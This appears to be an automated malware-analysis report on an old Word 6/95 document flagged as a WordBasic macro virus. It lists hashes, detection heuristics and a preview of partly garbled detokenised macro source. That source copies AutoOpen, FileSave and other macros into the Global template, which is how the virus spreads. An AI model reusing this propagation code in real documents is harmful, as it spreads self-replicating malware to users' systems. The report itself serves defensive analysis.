Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1f7dd0aa9a838571…

MALICIOUS

Office (OLE)

8.5 KB First seen: 2012-06-14
MD5: 0d997c3d0c5ded86f85807acb0aba294 SHA-1: f0ead0a76bc44df7843058dcdfd1998439ea9b50 SHA-256: 1f7dd0aa9a83857130a0767877ba678db6062601fe477f1dcab64f2b90109cd5
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy macro virus, specifically identified by 'RSN MACRO VIRUS' markers and ClamAV detection as 'Win.Trojan.Printer-1'. The document body suggests the macro's intent is to install protection, disinfect templates, and potentially spread itself, aligning with self-propagating malware behavior.

Heuristics 3

  • ClamAV: Win.Trojan.Printer-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Printer-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 2501 bytes
SHA-256: 83258e6f77586507bf4fd5ac6e2b8ca19fa2ff796484c32c8670ba69a6b71be1
Preview script
First 1,000 lines of the extracted script
= , , , = 29548   29551  
      8304    
        REM macros. Also cleans out your Nor 29728 29793  
      24933 8300          
        357      
    29793 25964
        29793     29551     24933     REM macros from any documents that y       29551     @cmd6420     29793
MAIN
@cmd00d7 = "FileSave" ,
MAIN
@cmd80d6
dlg @cmd0050
, - * Done
dlg
dlg
@cmd0050 dlg
iMacroCount = @cmd80b7 1
Installed = 0
i = 1 iMacroCount
@cmd80b8 i , 1 = "AutoOpen" @cmd80b8 i , 1 = "FS" @cmd80b8 i , 1 = "FSA" @cmd80b8 i , 1 = "FO" @cmd80b8 i , 1 = "AC"
Installed = Installed = 1
i
Installed = 5
@cmd00d7 = "AutoOpen" ,
Installed = 5
sMe$ = @cmd8025
sMacro$ = sMe$ = ":AutoOpen"
@cmd80c2 "Global:DNTC" , sMacro$
sMacro$ = sMe$ = ":FSA"
@cmd80c2 "Global:FileSaveAs" , sMacro$
sMacro$ = sMe$ = ":FS"
@cmd80c2 "Global:FileSavc"     8300   ,  
    10272 25199 8233 29793  
      24933 8300 29551 25964
        29793     367
MAIN
Fname$ = @cmd8008 @cmd8009 @cmd8025 , 12 , 8
Fname$ = "Document" Fname$ = "Template" * SetName
sMe$ = @cmd8025
sMacro$ = sMe$ = ":AutoOpen"
@cmd80c2 "Global:DNTC" , sMacro$
sMacro$ = sMe$ = ":FSA"
@cmd80c2 "Global:FileSaveAs" , sMacro$
sMacro$ = sMe$ = ":FS"
@cmd80c2 "Global:FileSave" , sMacro$
sMacro$ = sMe$ = ":AC"
@cmd80c2 "Global:AutoClose" , sMacro$
sMacro$ = sMe$ = ":FO"
@cmd80c2 "Global:FileOpen" , sMacro$
@cmd0054 = @cmd8025 , = 1
* Done
=
Err 102
dlg @cmd0054
dlg
, - * Done
dlg
dlg = 0 dlg = 1
sMe$ = @cmd8025
sMacro$ = sMe$ = ":AutoOpen"
@cmd80c2 "Global:DNTC" , sMacro$
sMacro$ = sMe$ = ":FSA"
@cmd80c2 "Global:FileSaveAs" , sMacro$
sMacro$ = sMe$ = ":FS"
@cmd80c2 "Global:FileSave" , sMacro$
sMacro$ = sMe$ = ":AC"
@cmd80c2 "Global:AutoClose" , sMacro$
sMacro$ = sMe$ = ":FO"
@cmd80c2 "Global:FileOpen" , sMacro$
@cmd0054 dlg
MAIN
dlg @cmd0054
, - * Pass
dlg
dlg
dlg = 0 dlg = 1
sMe$ = @cmd8025
sMacro$ = sMe$ = ":AutoOpen"
@cmd80c2 "Global:DNTC" , sMacro$
sMacro$ = sMe$ = ":FSA"
@cmd80c2 "Global:FileSaveAs" , sMacro$
sMacro$ = sMe$ = ":FS"
@cmd80c2 "Global:FileSave" , sMacro$
sMacro$ = sMe$ = ":AC"
@cmd80c2 "Global:AutoClose" , sMacro$
sMacro$ = sMe$ = ":FO"
@cmd80c2 "Global:FileOpen" , sMacro$
@cmd0054 dlg
* Done
Err 102
@cmd0054 dlg
MAIN
, - * Abort
SMe$ = @cmd8025
sMacro$ = sMe$ = ":AutoOpen"
@cmd80c2 sMacro$ , "Global:DNTC"
sMacro$ = sMe$ = ":FS"
@cmd80c2 sMacro$ , "Global:FileSave"
sMacro$ = sMe$ = ":FSA"
@cmd80c2 sMacro$ , "Global:FileSaveAs"
sMacro$ = sMe$ = ":FO"
@cmd80c2 sMacro$ , "Global:FileOpen"
sMacro$ = sMe$ = ":AC"
@cmd80c2 sMacro$ , "Global:AutoClose"

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